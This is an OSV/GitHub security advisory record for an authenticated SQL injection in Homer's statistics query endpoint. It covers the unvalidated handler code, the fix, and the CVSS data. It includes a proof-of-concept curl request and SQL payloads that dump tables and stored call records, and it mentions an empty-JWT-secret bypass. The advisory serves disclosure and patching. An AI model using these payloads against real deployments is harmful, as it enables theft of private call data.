{"id":"GHSA-f46q-3v67-fmm4","revision":"ec439d0720614916af81257805106457","records":[{"revision":"ec439d0720614916af81257805106457","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-f46q-3v67-fmm4","aliases":["CVE-2026-62251","GO-2026-6672"],"title":"Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query","description":"### Summary\nThe `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.\n\n### Details\n**`coordinator/handlers/statistics_v4.go` lines 74-107** — `V4StatisticsQuery`:\n```go\nquery := &model.V4StatisticsQuery{}\nif err = c.Bind(query); err != nil { ... }\n// No ValidateRawSQL call here — contrast with other handlers:\nresults, err := h.flightService.Query(c.Request().Context(), query.RawQuery)\n```\n\n**Contrast with `coordinator/handlers/search.go` line 194** — secure pattern not followed:\n```go\nif err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {\n    return c.JSON(http.StatusBadRequest, ...)\n}\n```\n\n`query.RawQuery` is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the `protected` group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.\n\n### PoC\n```bash\n# With a valid JWT (or empty JWT secret bypass):\ncurl -s -X POST http://<homer-host>/api/v4/statistics/query \\\n  -H \"Authorization: Bearer <jwt>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"param\": {\n      \"query\": [{\"rawquery\": \"SELECT * FROM information_schema.tables\"}]\n    }\n  }'\n# Returns all table names accessible to the DuckDB FlightSQL service\n\n# Exfiltrate all stored call records:\n# \"rawquery\": \"SELECT * FROM hep LIMIT 1000\"\n# Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration\n```\n\n### Impact\nSQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend — including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.\n\n### Fix\nApply `sqlvalidator.ValidateRawSQL()` to `query.RawQuery` before passing it to `h.flightService.Query()`, matching the pattern already used in `search.go` and `transactions_v4.go`.\n\nIf possible, please apply for a CVE number when posting.","state":0,"publishedAt":"2026-10-07T16:13:08+00:00","modifiedAt":"2026-10-20T00:56:06.1077006+00:00","affected":[{"ecosystem":"Go","name":"github.com/sipcapture/homer-app","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260625085520-a7d027dc684b"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/sipcapture/homer/security/advisories/GHSA-f46q-3v67-fmm4","https://github.com/sipcapture/homer/pull/837","https://github.com/sipcapture/homer/commit/a7d027dc684b210b62285c49f555ac88d64f35f0","https://github.com/sipcapture/homer","https://github.com/sipcapture/homer/releases/tag/11.0.283"],"sourceUrl":"https://github.com/advisories/GHSA-f46q-3v67-fmm4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f46q-3v67-fmm4","identifiers":["GHSA-f46q-3v67-fmm4","CVE-2026-62251","GO-2026-6672"]},"retained":false,"historicalAffected":[]}],"coverage":[]}